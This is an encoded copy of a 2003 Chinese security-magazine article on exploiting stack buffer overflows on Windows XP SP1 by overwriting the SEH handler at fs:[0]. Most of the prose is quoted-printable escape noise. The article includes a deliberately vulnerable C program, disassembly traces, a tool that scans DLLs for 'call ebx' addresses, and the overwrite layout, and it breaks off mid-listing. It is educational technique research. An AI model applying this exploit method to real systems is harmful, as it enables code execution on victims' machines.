|
| |
![](3D"http://www.nsfocus.net/images/mag_title.gif"=20) |
| =C2=CC=C3=CB=B0=B2=C8=AB=D4=C2=BF=AF->=B5=DA39=C6=DA->=BC=BC=CA=F5=D7=A8=CC=E2 |
WindowsXP=CF=C2=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=BC=B0=C0=
=FB=D3=C3FS:[0]=D2=EC=B3=A3=BD=E1=B9=B9=B4=A6=C0=ED
=D7=F7=D5=DF=
=A3=BANanika=20
=
<minjack.tw@yahoo.com.tw>
=B3=F6=B4=A6=A3=BAhttp://www.nsfocus.c=
om
=C8=D5=C6=DA=A3=BA2003-03-03
=B2=E2=CA=D4=CF=B5=CD=B3
Win=
dowsXP_SP1
=B2=E2=CA=D4=B9=A4=BE=DF
Visual=20
C++=20
=
6.0
WDASM
Ultraedit
Softice
=D2=BB=A1=A2 =
; =C7=B0=D1=D4
=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3=AC=D5=E2=B8=F6=C3=
=FB=B4=CA=B6=D4=D3=DA=D1=D0=BE=BF=CF=B5=CD=B3=B0=B2=C8=AB=B7=BD=C3=E6=B5=C4=
=C8=CB=C0=B4=CB=B5=A3=AC=D2=BB=B6=A8=B2=BB=C4=B0=C9=FA=A3=AC=D2=B2=D3=D0=D0=
=ED=B6=E0=C8=CB=D0=B4=B3=F6=C0=FB=D3=C3=B7=BD=B7=A8=A3=AC=B5=AB=B4=F3=B6=E0=
=CA=FD=B5=C4=C8=CB=BB=B9=CA=C7=B1=C8=BD=CF=C1=CB=BD=E2=B8=B2=D0=B4EIP=D6=B5=
=BA=F3=B7=B5=BB=D8=B5=BDDLL=BA=AF=CA=FD=D6=D0=B5=C4Jmp=20
ESP =
=B2=A2=C7=D2=B5=B1=CA=B1=B5=C4ESP=B8=D5=BA=C3=D4=DAShellcode=B5=C4=B5=D8=D6=
=B7=C9=CF=A3=ACJmp=20
=
ESP=BE=CD=B8=D5=B8=D5=BA=C3=BF=C9=D2=D4=B6=A8=CE=BB=A3=AC=CA=B9=B5=C3=CE=D2=
=C3=C7=B2=BB=B5=AB=BF=C9=D2=D4=B8=C4=B1=E4=B3=CC=D0=F2=D4=AD=C0=B4=B5=C4=C1=
=F7=B3=CC=A3=AC=C7=D2=BF=C9=D2=D4=D7=AA=C8=EB=CE=D2=C3=C7=CB=F9=C9=E8=BC=C6=
=B5=C4Shellcode=A3=AC=B5=AB=C6=E4=CA=B5=BB=B9=D3=D0=B1=F0=B5=C4=B0=EC=B7=A8=
=C0=B4=B8=C4=B1=E4=C1=F7=B3=CC=A3=AC=C0=FD=C8=E7=B6=D1=D5=BB=D6=D0=B1=A3=B4=
=E6=B5=C4=BA=AF=CA=FD=B7=B5=BB=D8=B5=D8=D6=B7=A1=A2=D4=A4=C9=E8=D2=EC=B3=A3=
=B4=A6=C0=ED=D6=B8=B1=EAUnhandleExceptionFilter=A1=A2=CF=DF=B3=CC=CF=E0=B9=
=D8=B5=C4=D2=EC=B3=A3=B4=A6=C0=EDfs:[0]=A1=A3=B6=F8=CE=D2=D4=DA=D1=D0=BE=BF=
CodeRed=B2=A1=B6=BE=CA=B1=A3=AC=B7=A2=CF=D6=B4=CB=B2=A1=B6=BE=C0=FB=D3=C3=
=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3=AC=CA=C7=B8=B2=D0=B4=B5=BDException=20
=
Handle=D2=B2=BE=CD=CA=C7Fs:[0]=A3=AC=B5=B1=B4=A6=C0=EDWindows=D5=FD=D7=BC=
=B1=B8=B4=A6=C0=ED=D2=EC=B3=A3=B5=C4=CA=B1=BA=F2=A3=ACEBX=B8=D5=BA=C3=D6=B8=
=CF=F2=B5=B1=C7=B0=B5=C4=D2=EC=B3=A3=BD=E1=B9=B9=A3=AC=CB=F9=D2=D4=BF=C9=D2=
=D4=C0=FB=D3=C3=B7=B5=BB=D8DLL=BA=AF=CA=FD=D6=D0=B5=C4Call=20
=
EBX=BE=CD=BF=C9=D2=D4=B6=A8=CE=BBShellcode=A3=AC
=B5=AB=CA=C7=CE=D2=D4=
=DAWINDOWSXP_SP1=CF=C2=C8=B4=C3=BB=B0=EC=B7=A8=CA=B9=D3=C3Call=20
=
EBX=C0=B4=B6=A8=CE=BB=A3=AC=D5=E2=D2=FD=C6=F0=C1=CB=CE=D2=B5=C4=D0=CB=C8=A4=
=A3=AC=BD=F8=B6=F8=D0=B4=C1=CB=D5=E2=C6=AA=A3=AC=B3=CC=D0=F2=B6=BC=CA=C7=CE=
=D2=D7=D4=BC=BA=D0=B4=B3=F6=C0=B4=B2=E2=CA=D4=B3=FD=B4=ED=B5=C4=A3=AC=BA=DC=
=BF=C9=C4=DC=D3=D0=D0=ED=B6=E0=B5=C4=B4=ED=CE=F3=A3=AC=BB=F2=CA=C7=CF=EB=B7=
=A8=C9=CF=B5=C4=B4=ED=CE=F3=A3=AC=C8=E7=D3=D0=B4=ED=CE=F3=A3=AC=BE=B4=C7=EB=
=D6=B8=D5=FD=A1=A3
=B6=FE=A1=A2 =CF=DF=B3=CC=
=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9
=CD=A8=B3=A3=C3=BF=B8=F6=CF=DF=B3=
=CC=B3=F5=CA=BC=BB=AF=B6=BC=D7=BC=B1=B8=BA=C3=D6=B4=D0=D0=CA=B1fs=D6=B8=CF=
=F2=D2=BB=B8=F6TIB=BD=E1=B9=B9(Thread=20
Imformation=20
=
Block)=D4=DAwinnt.h=BA=CDntddk.h=D6=D0=A9o=CE=D2=C3=C7=BF=C9=D2=D4=D5=D2=B5=
=BDTIB=BD=E1=B9=B9=B5=C4=B6=A8=D2=E5=A9s
//
// NT_TI=
B=20
- Thread Information Block - Portable=20
part.
//
// This is =
the=20
subsystem portable part of the Thread Information=20
Block.
// It appears =
as the=20
first part of the TEB for all threads which=20
have
// a user mode=20
component.
//
//
// begin_winnt
typedef =
struct=20
_NT_TIB {
struct=20
_EXCEPTION_REGISTRATION_RECORD=20
*ExceptionList;
PVOID=20
StackBase;
PVOID=20
StackLimit;
PVOID=20
SubSystemTib;
union=20
{
PVOID=20
=
FiberData;
ULONG=20
=
Version;
};
PVOID=20
ArbitraryUserPointer;
struct =
_NT_TIB=20
*Self;
} NT_TIB;
typedef NT_TIB=20
=
*PNT_TIB;
//
=B5=DA=D2=BB=B8=F6member=BE=CD=CA=C7_EXCEPTION_REG=
ISTRATION_RECORD=D6=B8=D5=EB=A3=AC_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9=
=B9=D3=D6=B0=FC=C0=A8=C1=BD=B8=F6=D6=B8=D5=EB=A9s=B5=DA=D2=BB=B8=F6=D6=B8=
=D5=EB(=B4=D3=B5=D8=D6=B7fs=A9s[00000000]=C8=A1=B5=C3)=D6=B8=CF=F2=C7=B0=D2=
=BB=B8=F6_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9=B9=A9o=B6=F8=C7=B0=D2=BB=
=B8=F6_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9=B9=B5=C4=B5=DA=D2=BB=B8=F6=D6=
=B8=D5=EB=D3=D6=D6=B8=CF=F2=B8=FC=C7=B0=D2=BB=B8=F6_EXCEPTION_REGISTRATIO=
N_RECORD=BD=E1=B9=B9=A9o=D5=E2=D1=F9=CB=F9=D3=D0=B5=C4_EXCEPTION_REGISTRA=
TION_RECORD=20
=
=BE=CD=D0=CE=B3=C9=C1=CB=D2=BB=B8=F6=C1=B4(link)=A1=A3
=C8=E7=B9=FB=BB=
=B9=B2=BB=B6=AE=A3=AC=BF=C9=D2=D4=BF=B4=CF=C2=C3=E6=B5=C4=CD=BC
fs:[0]=
->=20
_EXCEPTION_REGISTRATION struc
prev dd ?=20
;=C7=B0=D2=BB=B8=F6_EXCEPTION_REGISTRATION=BD=E1=B9=B9 =
handler dd ?=20
=
;=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA
_EXCEPTION_REGISTRATION=20
=
ends
=B0=D1handler=D3=F2=BB=BB=B3=C9=C4=E3=B5=C4=B3=CC=D0=F2=
=C8=EB=BF=DA,=BE=CD=BF=C9=D2=D4=D4=DA=B7=A2=C9=FA=D2=EC=B3=A3=CA=B1=B5=F7=
=D3=C3=C4=E3=B5=C4=B3=CC=D0=F2=C1=CB
=B6=F8=CE=D2=C3=C7=D5=E2=B4=CE=
=BE=CD=D0=E8=D2=AA=B8=B2=D0=B4=B5=BDhandle=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=
=DA
=C8=FD=A1=A2=B7=B6=C0=FD=B3=CC=D0=F2
=CE=D2=C3=C7=D0=B4=D2=BB=
=B8=F6=B3=CC=D0=F2=C0=B4=CA=B5=BC=CA=B5=C4=B2=D9=D7=F7=D2=BB=CF=C2
#in=
clude=20
<stdio.h>
int main()
{
char =
buffer[16]=3D"";=20
FILE *fd=3DNULL;
fd =3D fopen("files.txt","rb"); =
if(fd =3D=3D=20
NULL)
return =
printf("=B2=BB=C4=DC=BF=AA=C6=F4files.txt=99n,=C7=EB=C8=B7=B6=A8\n");=20
fgets(buffer,1000,fd);
return 0;=20
=
}
=D5=E2=D2=BB=B8=F6=B7=B6=C0=FD=D2=BB=BF=B4=BE=CD=D6=AA=B5=C0=
=C1=CB=A3=AC=D3=D0=C1=CB=C3=F7=CF=D4=B5=C4=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3=
=ACbuffer=D6=BB=D3=D016=A3=AC=B5=AB=C8=B4=BF=C9=D2=D4=B6=C1=C8=EB1000=B8=F6=
=D7=D6=B7=FB=A3=AC=B4=CB=D6=D6=D2=E7=CE=BB=B5=B1=C8=BB=BF=C9=D2=D4=D6=B1=BD=
=D3=B8=B2=D0=B4EIP=B5=D8=D6=B7=B8=C4=D0=B4=B3=C9Jmp=20
=
ESP=CA=B9=D3=C3ESP=C0=B4=B6=A8=CE=BB=A3=AC=B5=AB=D5=E2=BE=CD=B2=BB=D4=DA=CE=
=D2=C3=C7=B5=C4=B7=B6=CE=A7=D6=AE=C4=DA=A3=AC=B2=A2=C7=D2=D3=D0=BA=DC=B6=E0=
=B5=C4=CE=C4=D5=C2=B6=BC=CA=C7=D3=D0=B9=D8=D5=E2=D6=D6=C0=FB=D3=C3=B7=BD=B7=
=A8=A1=A3
=CE=D2=C3=C7=BC=CC=D0=F8=CF=C2=C8=A5
=CE=D2=C3=C7=B0=D1=
=D5=E2=B8=F6=B3=CC=D0=F2=CA=B9=D3=C3Release=C4=A3=CA=BD=C0=B4=B1=E0=D2=EB=
=C8=BB=BA=F3=A3=AC=B0=D1=CB=FC=B7=B4=D7=E9=D2=EB=D2=BB=CF=C2=A3=AC=B5=
=C3=B5=BD=C8=E7=CF=C2=B5=C4=B3=CC=D0=F2
:0040112B=20
=
55 =
; push=20
ebp
:0040112C=20
=
8BEC &nb=
sp; mov=20
ebp, esp
:0040112E=20
=
6AFF &nb=
sp; push=20
FFFFFFFF
:00401130=20
=
68B0604000 &nb=
sp; push=20
004060B0
:00401135=20
=
6840284000 &nb=
sp; push=20
=
00402840--=D5=E2=C0=EF=BE=CD=CA=C7=D2=EC=B3=A3=B4=A6=C0=ED=C8=
=EB=BF=DA
:0040113A=20
=
64A100000000 &=
nbsp; mov=20
eax, dword ptr =
fs:[00000000]-=D5=E2=CA=C7=C7=B0=D2=BB=B8=F6=D2=EC=B3=A3=B4=A6=
=C0=ED=BD=E1=B9=B9
:00401140=20
=
50 =
; push=20
eax
:00401141=20
=
64892500000000 =
;mov=20
dword ptr fs:[00000000],=20
=
esp---=BD=ABFS:[0]=D6=B8=CF=F2=D0=C2=B5=C4=D2=EC=B3=A3=BD=E1=B9=
=B9
:00401148=20
=
83EC10 &=
nbsp; sub=20
esp, 00000010
:0040114B=20
=
53 =
; push=20
ebx
:0040114C=20
=
56 =
; push=20
esi
:0040114D=20
=
57 =
; push=20
edi
:0040114E=20
=
8965E8 &=
nbsp; mov=20
dword ptr [ebp-18], =
esp
=CF=D4=C8=BB=CE=D2=C3=C7=D2=AA=B8=B2=D0=B4=B5=C4=C4=BF=B1=EA=BE=
=CD=D4=DApush=20
=
00402840=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA=A3=AC=CE=D2=C3=C7=D2=AA=BD=AB=
=B4=CB=B4=A6=B8=C4=D0=B4=B3=C9Call=20
=
EBX=BE=CD=BF=C9=D2=D4=C0=B4=B6=A8=CE=BBShellcode=C1=CB
=BE=CD=C0=B4=CA=
=B5=BC=CA=B2=E2=CA=D4=D2=BB=CF=C2=A3=AC=CE=D2=C3=C7=B4=B4=C1=A2=D2=BB=B8=F6=
=CE=C4=D7=D6=CE=C4=BC=FE=C8=BB=BA=F3=C0=EF=C3=E6=B7=C5=C8=EB20=B8=F6a=D7=D6=
=B7=FB=A3=AC=C8=BB=BA=F3=C0=FB=D3=C3WDASM=C0=B4=B3=FD=B4=ED=A3=AC=B6=CF=B5=
=E3=C9=E8=D4=DA004011da=A3=ACF2=C9=E8=B6=CF=B5=E3
:004011DA=20
=
E821FEFFFF &nb=
sp; call=20
=
00401000-=BB=E1=D1=BA=C8=EB=CF=C2=D2=BB=B8=F6=B3=CC=D0=F20040=
11df=B5=D8=D6=B7=C8=BB=BA=F3=D4=D9jmp 00401000
:004011DF=20
=
83C40C &=
nbsp; add=20
esp, 0000000C
:004011E2=20
=
8945E4 &=
nbsp; mov=20
dword ptr [ebp-1C], eax
:004011E5=20
=
50 =
; push=20
=
eax
=CE=D2=C3=C7=B0=B4=CF=C2f7=B8=FA=BD=F8=C8=A5004011da
:00401=
000=20
=
83EC10 &=
nbsp; sub=20
esp, 00000010
:00401003=20
=
A0F0784000 &nb=
sp; mov=20
al, byte ptr [004078F0]
:00401008=20
=
33C9 &nb=
sp; xor=20
ecx, ecx
:0040100A=20
=
894C2401 =
; mov=20
dword ptr [esp+01], ecx
* Possible StringData Ref =
from Data=20
Obj=20
=
->"rb"
=
&=
nbsp; |<=
BR>:0040100E=20
=
6858704000 &nb=
sp; push=20
00407058
:00401013=20
=
894C2409 =
; mov=20
dword ptr [esp+09], ecx
* Possible StringData Ref =
from Data=20
Obj=20
=
->"files.txt"
=
; =
&=
nbsp;|
:00401017=20
=
684C704000 &nb=
sp; push=20
0040704C
:0040101C=20
=
894C2411 =
; mov=20
dword ptr [esp+11], ecx
:00401020=20
=
88442408 =
; mov=20
byte ptr [esp+08], al
:00401024=20
=
66894C2415 &nb=
sp; mov=20
word ptr [esp+15], cx
:00401029=20
=
884C2417 =
; mov=20
byte ptr [esp+17], cl
:0040102D=20
=
E8E6000000 &nb=
sp; call=20
00401118
:00401032=20
=
83C408 &=
nbsp; add=20
esp, 00000008
:00401035=20
=
85C0 &nb=
sp; test=20
eax, eax
:00401037=20
=
7511 &nb=
sp; jne=20
0040104A
* Possible StringData Ref from Data Obj=20
=
->"=B2=BB=C4=DC=BF=AA=C6=F4files.txt=99n,=C7=EB=C8=B7=B6=A8
"
&n=
bsp; &nb=
sp; &nbs=
p; |
:00401039=20
=
6830704000 &nb=
sp; push=20
00407030
:0040103E=20
=
E884000000 &nb=
sp; call=20
004010C7
:00401043=20
=
83C404 &=
nbsp; add=20
esp, 00000004
:00401046=20
=
83C410 &=
nbsp; add=20
esp, 00000010
:00401049=20
=
C3 =
; ret
<=
BR>
*=20
Referenced by a (U)nconditional or (C)onditional Jump at=20
Address:
|:00401037(C)
|
:0040104A=20
=
50 =
; push=20
eax
:0040104B=20
=
8D542404 =
; lea=20
edx, dword ptr [esp+04]
:0040104F=20
=
68E8030000 &nb=
sp; push=20
000003E8
:00401054=20
=
52 =
; push=20
edx
:00401055=20
=
E816000000 &nb=
sp; call=20
=
00401070--=B4=CB=B4=A6=BE=CD=CA=C7=D4=DD=B4=E6=C7=F8=D1=BA=C8=
=EB=B6=D1=D5=BB=B5=C4=B5=D8=B7=BD
:0040105A=20
=
83C40C &=
nbsp; add=20
esp, 0000000C
:0040105D=20
=
33C0 &nb=
sp; xor=20
eax, eax
:0040105F=20
=
83C410 &=
nbsp; add=20
esp, 00000010
:00401062=20
=
C3 =
; ret
=B8=
=B2=B8=C7=D6=AE=C7=B0=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD
call 00401070 =
=D1=BA=C8=EB=B6=D1=D5=BB=D6=AE=BA=F3
=20
=
=D7=A2=D2=E2=B5=BD=C1=CB=C3=BB=A3=BF=D4=AD=C0=B4=B5=C4=B7=B5=BB=D8=
=B5=D8=D6=B7004011df=B5=D8=D6=B7=D2=D1=BE=AD=B8=B2=D0=B4=B3=C961616161=CB=F9=D2=D4=CE=D2=C3=C7=B7=B5=BB=D8=BA=F3=CA=C7EIP=20
=
61616161=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=CB=F9=D2=D4=B2=FA=C9=FA=B4=ED=CE=F3=
=B6=D4=C1=CB=A3=AC=CE=D2=C3=C7=D5=E2=B4=CE=B5=C4=C0=FB=D3=C3=B7=BD=B7=
=A8=CA=C7=D2=AA=C0=FB=D3=C3Fs:[0]=CB=F9=D2=D4=D0=E8=D2=AA=D5=D2=D2=BB=CF=C2=
=D4=DA=B6=D1=D5=BB=B5=C4=C4=C7=B8=F6=B2=BF=B7=D6=A3=AC=C8=BB=BA=F3=BC=CC=D0=
=F8=B8=B2=B8=C7=B9=FD=C8=A5
=CB=C4=A1=A2=C0=FB=D3=C3=B7=BD=B7=A8
esp =3D=20
=
0012ff68+4c=3D0012ffb4---=D5=E2=B8=F6=B5=D8=D6=B7=BE=CD=CA=C7=
=CE=D2=C3=C7=CB=F9=D2=AA=B8=B2=D0=B4=B5=C4=B5=D8=D6=B700402840=D2=EC=B3=A3=
=B4=A6=C0=ED=C8=EB=BF=DA=A3=AC=CE=D2=C3=C7=BD=A8=C1=A2=D2=BB=B8=F6=CE=C4=D7=
=D6=CE=C4=BC=FE=A3=AC=C4=DA=D3=D068=B8=F6=D7=D6=B7=FB=BE=CD=BF=C9=D2=D4=B8=
=B2=B8=C7=B5=BD=D2=EC=B3=A3=C8=EB=BF=DA=B5=D8=D6=B7=A3=AC=D2=B2=BE=CD=CA=C7=
=D4=DA=B4=CB=B4=A6=CC=EE=C8=EBcall=20
=
ebx=BE=CD=BF=C9=D2=D4=CC=F8=B5=BD=C9=CF=D2=BB=B8=F6=BD=E1=B9=B9=A3=AC=D2=B2=
=BE=CD=CA=C7=D4=DA0012ffb0=B5=C4=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=D6=C1=D3=DA=
=D2=AA=C8=E7=BA=CE=CC=EE=C8=EBcall=20
=
ebx=C4=D8=A3=BF=CE=D2=C3=C7=BE=CD=CA=B9=D3=C3=B7=B5=BB=D8=D6=C1DLL=BA=AF=CA=
=FD=D6=D0=B5=C4=B5=D8=D6=B7=A3=AC=B5=AB=B1=D8=D0=EB=CA=C7=D2=AA=B4=CB=C2=A9=
=B6=B4=B3=CC=D0=F2=BC=D3=D4=D8=BA=F3=B5=C4=A3=AC=CE=D2=C3=C7=B5=C4=D5=E2=B8=
=F6=B3=CC=D0=F2=D0=B4=B5=C3=BA=DC=BC=F2=B5=A5=A3=AC=CB=F9=D2=D4=D2=B2=D6=BB=
=D3=D0Kernel32.dll=BC=D3=D4=D8=A3=AC=CB=F9=D2=D4=B4=D3=D5=E2=C0=EF=C3=E6=D1=
=B0=D5=D2FF=20
=
D3=CE=D2=C3=C7=B4=D3JASON=CF=C8=C9=FA=B5=C4=CE=C4=D5=C2=D6=D0=CB=F9=D0=B4=
=B5=C4=B3=CC=D0=F2=C0=B4=D1=B0=D5=D2
CWinApp theApp;
using =
namespace=20
std;
int _tmain(int argc, TCHAR* argv[], TCHAR* =
envp[])=20
{
int nRetCode =3D 0;=20
// initialize MFC and print =
and=20
error on failure
if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL, =
::GetCommandLine(), 0))=20
{=20
=
//=20
TODO: change error code to suit your needs=20
=
cerr=20
<< _T("Fatal Error: MFC initialization failed") =
<< endl;=20
=
nRetCode =
=3D 1;
} =
=20
else
{=20
=
#if=20
0=20
=
return=20
0;=20
=
__asm=20
call=20
=
ebx
=
&nb=
sp; #else=20
bool =
we_loaded_it =3D=20
false;=20
=
=20
HINSTANCE h;
TCHAR =
dllname[]=20
=3D _T("User32");=20
=20
=
if(argc>1) {
&=
nbsp; =20
=
strcpy(dllname,argv[1]);
&nb=
sp;=20
}
h =
=3D=20
GetModuleHandle(dllname);=20
if(h =
=3D=3D NULL)=20
{=20
=
h =3D=20
LoadLibrary(dllname);=20
if(h =
=3D=3D NULL)=20
{=20
=
=20
cout<<"ERROR LOADING DLL: =
"<<dllname<<endl;=20
return =
1;=20
}=20
=
we_loaded_it =3D=20
true;
} =
=
=
; =20
BYTE* ptr =3D (BYTE*)h;=20
=
&nb=
sp;=20
bool done =3D false;=20
=
&nb=
sp;=20
for(int y =3D 0;!done;y++)=20
=
&nb=
sp;=20
{=20
=
&nb=
sp; try=20
=
&nb=
sp; {=20
=
&nb=
sp; =20
if(ptr[y] =3D=3D 0xff && ptr[y+1] =3D=3D 0xd3)=20
=
&nb=
sp; =20
{=20
=
&nb=
sp; =20
int pos =3D (int)ptr + y;=20
=
&nb=
sp; =20
cout<<"OPCODE found at =
0x"<<hex<<pos<<endl;=20
=
&nb=
sp; =20
}=20
=
&nb=
sp; }=20
=
&nb=
sp; catch(...)=20
=
&nb=
sp; {=20
=
&nb=
sp; =20
cout<<"END OF "<<dllname<<" MEMORY=20
REACHED"<<endl;=20
=
&nb=
sp; =20
done =3D true;=20
=
&nb=
sp; }=20
=
&nb=
sp;=20
}=20
=
if(we_loaded_it)=20
FreeLibrary(h); =
#endif=20
}
=
return=20
nRetCode; =
}
=CE=D2=C3=C7=B0=D1=B3=CC=D0=F2=B1=E0=D2=EB=BA=C3=A3=AC=D6=B4=D0=D0=
=BA=F3=A3=AC
C:\>callebx=20
kernel32
OPCODE found at 0x77e426ba
OPCODE found at=20
0x77e42d94
OPCODE found at 0x77e42eac
OPCODE found at=20
0x77e439ad
OPCODE found at =
0x77e43be2
=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=
=A1=AD=A1=AD=A1=AD.=CC=AB=B6=E0=C1=CB
END=20
OF kernel32 MEMORY =
REACHED
=D4=DAKernel32=D6=D0=D5=D2=B5=BD=D0=ED=B6=E0call=20
=
ebx=B5=C4=B5=D8=D6=B7
=CE=D2=C3=C7=B0=D1=D5=E2=B8=F6=B5=D8=D6=B7=CC=
=EE=C8=EB=CE=C4=D7=D6=CE=C4=BC=FE=D6=D0=A3=AC=D2=B2=BE=CD=CA=C7=D2=AA=B8=B2=
=D0=B40012ffb4=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD=A3=AC=B8=C4=D0=B4=B3=C9=
77e426ba=A3=AC=B5=B1=C8=BB=D1=BA=C8=EB=D0=E8=D2=AA=CC=EE=C8=EB=B5=C4=C4=
=DA=C8=DD=CA=C7ba26e477=A3=AC=CE=D2=C3=C7=BE=CD=C0=B4=B2=E2=CA=D4=D2=BB=CF=
=C2=A3=AC=CA=C7=B7=F1ebx=BE=CD=BF=C9=D2=D4=B6=A8=CE=BB=A3=AC=B5=B1=CE=D2=C3=
=C7=B7=B5=BB=D861616161=D6=AE=BA=F3=B5=B1=C8=BB=BB=E1=B3=F6=CF=D6=B4=ED=CE=
=F3=A3=AC=C8=BB=BA=F3=B3=CC=D0=F2=BE=CD=CC=F8=C8=EB
.text:77FB4DAF&nbs=
p; =
; =20
public KiUserExceptionDispatcher
.text:77FB4DAF=20
KiUserExceptionDispatcher proc near
.text:77FB4DAF=20
.text:77FB4DAF=20
=
var_14 =3D=20
dword ptr -14h
.text:77FB4DAF=20
=
var_10 =3D=20
dword ptr -10h
.text:77FB4DAF=20
=
var_C =3D=20
dword ptr -0Ch
.text:77FB4DAF=20
=
var_4 =3D=20
dword ptr -4
.text:77FB4DAF=20
=
arg_0 =3D=20
dword ptr 4
.text:77FB4DAF=20
=
.text:77FB4DAF &=
nbsp; =20
mov ecx,=20
=
[esp+arg_0]
.text:77FB4DB3 &n=
bsp; =20
mov ebx,=20
=
[esp+0]
.text:77FB4DB6 =
=20
=
push ecx
.text:77FB4DB7 =
=
=
push ebx
.text:77FB4DB8 =
=
call sub_0_77F60B69=20
=
---=CE=D2=C3=C7=BC=CC=D0=F8=B8=FA=BD=F8=C8=A5
.text:77FB4D=
BD =
; =20
or al,=20
=
al
.text:77FB4DBF =
; =20
jz short=20
=
loc_0_77FB4DCD
.text:77FB4DC1 =
; =20
pop =20
=
ebx
.text:77FB4DC2 &nbs=
p; =20
pop =20
=
ecx
.text:77FB4DC3 &nbs=
p; =20
=
push 0
.text:77FB4DC5 &n=
bsp; =20
=
push ecx
.text:77FB4DC6 =
=
=
call ZwContinue
.text:77FB4DCB =
; =
=20
jmp short=20
=
loc_0_77FB4DD8
=B3=CC=D0=F2=C0=B4=B5=BD
.text:77F60B69 ; =
Attributes: bp-based=20
frame
.text:77F60B69
.text:77F60B69=20
sub_0_77F60B69 proc=20
=
near &nb=
sp; =20
; CODE XREF: KiUserExceptionDispatcher+9 p
.text:77F60B69 =
.text:77F60B69=20
=
var_10 =3D=20
byte ptr -10h
.text:77F60B69=20
=
var_8 =3D=20
dword ptr -8
.text:77F60B69=20
=
var_4 =3D=20
dword ptr -4
.text:77F60B69=20
=
arg_0 =3D=20
dword ptr 8
.text:77F60B69=20
=
arg_4 =3D=20
dword ptr 0Ch
.text:77F60B69=20
=
.text:77F60B69 &=
nbsp; =20
=
push ebp
.text:77F60B6A =
=
mov ebp,=20
=
esp
.text:77F60B6C &nbs=
p; =20
sub esp,=20
=
60h
.text:77F60B6F &nbs=
p; =20
=
push esi
.text:77F60B70 =
=
=
push [ebp+arg_4]
.text:77F60B73 &nbs=
p; =
; =20
mov esi,=20
=
[ebp+arg_0]
.text:77F60B76 &n=
bsp; =20
=
push esi
.text:77F60B77 =
=
=
call sub_0_77F60C26
.text:77F60B7C &=
nbsp; &n=
bsp; =20
test al,=20
=
al
.text:77F60B7E =
; =20
jnz =20
=
loc_0_77F87B6F
.text:77F60B84 =
; =20
=
push ebx
.text:77F60B85 =
=
=
push edi
.text:77F60B86 =
=
lea eax,=20
=
[ebp+var_8]
.text:77F60B89 &n=
bsp; =20
=
push eax
.text:77F60B8A =
=
lea eax,=20
=
[ebp+var_4]
.text:77F60B8D &n=
bsp; =20
=
push eax
.text:77F60B8E =
=
=
call sub_0_77F79CCF
.text:77F60B93 &=
nbsp; &n=
bsp; =20
=
call sub_0_77F79CEA
.text:77F60B98 &=
nbsp; &n=
bsp; =20
and [ebp+arg_0],=20
=
0
.text:77F60B9C =
=20
mov ebx, eax
.text:77F60B9E=20
.text:77F60B9E=20
=
loc_0_77F60B9E: &nbs=
p; =
; =20
; CODE XREF: sub_0_77F60B69+B8=20
=
j
.text:77F60B9E =
=20
cmp ebx,=20
=
0FFFFFFFFh
.text:77F60BA1 &nb=
sp; =20
=
jz loc_0_77F727F1
.text:77F60BA7&nb=
sp; &nbs=
p; =20
cmp ebx,=20
=
[ebp+var_4]
.text:77F60BAA &n=
bsp; =20
=
jb loc_0_77F727F8
.text:77F60BB0&nb=
sp; &nbs=
p; =20
lea eax,=20
=
[ebx+8]
.text:77F60BB3 =
=20
cmp eax,=20
=
[ebp+var_8]
.text:77F60BB6 &n=
bsp; =20
=
ja loc_0_77F727F8
.text:77F60BBC&nb=
sp; &nbs=
p; =20
test bl,=20
=
3
.text:77F60BBF =
=20
jnz =20
=
loc_0_77F727F8
.text:77F60BC5 =
; =20
mov eax,=20
=
[ebx+4]
.text:77F60BC8 =
=20
cmp eax,=20
=
[ebp+var_4]
.text:77F60BCB &n=
bsp; =20
jb short=20
=
loc_0_77F60BD6
.text:77F60BCD =
; =20
cmp eax,=20
=
[ebp+var_8]
.text:77F60BD0 &n=
bsp; =20
=
jb loc_0_77F727F8
.text:77F60BD6=20
.text:77F60BD6=20
=
loc_0_77F60BD6: &nbs=
p; =
; =20
; CODE XREF: sub_0_77F60B69+62=20
=
j
.text:77F60BD6 =
=20
test byte_0_77FC324A,=20
=
80h
.text:77F60BDD &nbs=
p; =20
jnz loc_0_77F87B76
.text:77F60BE3 =
.text:77F60BE3=20
=
loc_0_77F60BE3: &nbs=
p; =
; =20
; CODE XREF: .text:77F87B87=20
=
j
.text:77F60BE3 =
=20
push dword ptr=20
=
[ebx+4]
.text:77F60BE6 =
=20
lea eax,=20
=
[ebp+var_10]
.text:77F60BE9 &=
nbsp; =20
=
push eax
.text:77F60BEA =
=
=
push [ebp+arg_4]
.text:77F60BED &nbs=
p; =
; =20
=
push ebx
.text:77F60BEE =
=
=
push esi
.text:77F60BEF =
=
=
call sub_0_77F79B46 ---=CE=D2=
=C3=C7=B8=FA=BD=F8=C8=A5=B4=CB=B4=A6
.text:77F60BF4 &=
nbsp; &n=
bsp;=20
test byte_0_77FC324A,=20
=
80h
.text:77F60BFB &nbs=
p; =20
mov edi,=20
=
eax
.text:77F60BFD &nbs=
p; =20
jnz loc_0_77F87B8C
.text:77F60C03 =
.text:77F60C03=20
=
loc_0_77F60C03: &nbs=
p; =
; =20
; CODE XREF: .text:77F87B95=20
=
j
.text:77F60C03 =
=20
cmp [ebp+arg_0],=20
=
ebx
.text:77F60C06 &nbs=
p; =20
=
jz loc_0_77F87B9A
.text:77F60C0C=20
.text:77F60C0C=20
=
loc_0_77F60C0C: &nbs=
p; =
; =20
; CODE XREF: .text:77F87BA2=20
=
j
.text:77F60C0C =
=20
mov eax,=20
=
edi
.text:77F60C0E &nbs=
p; =20
xor ecx,=20
=
ecx
.text:77F60C10 &nbs=
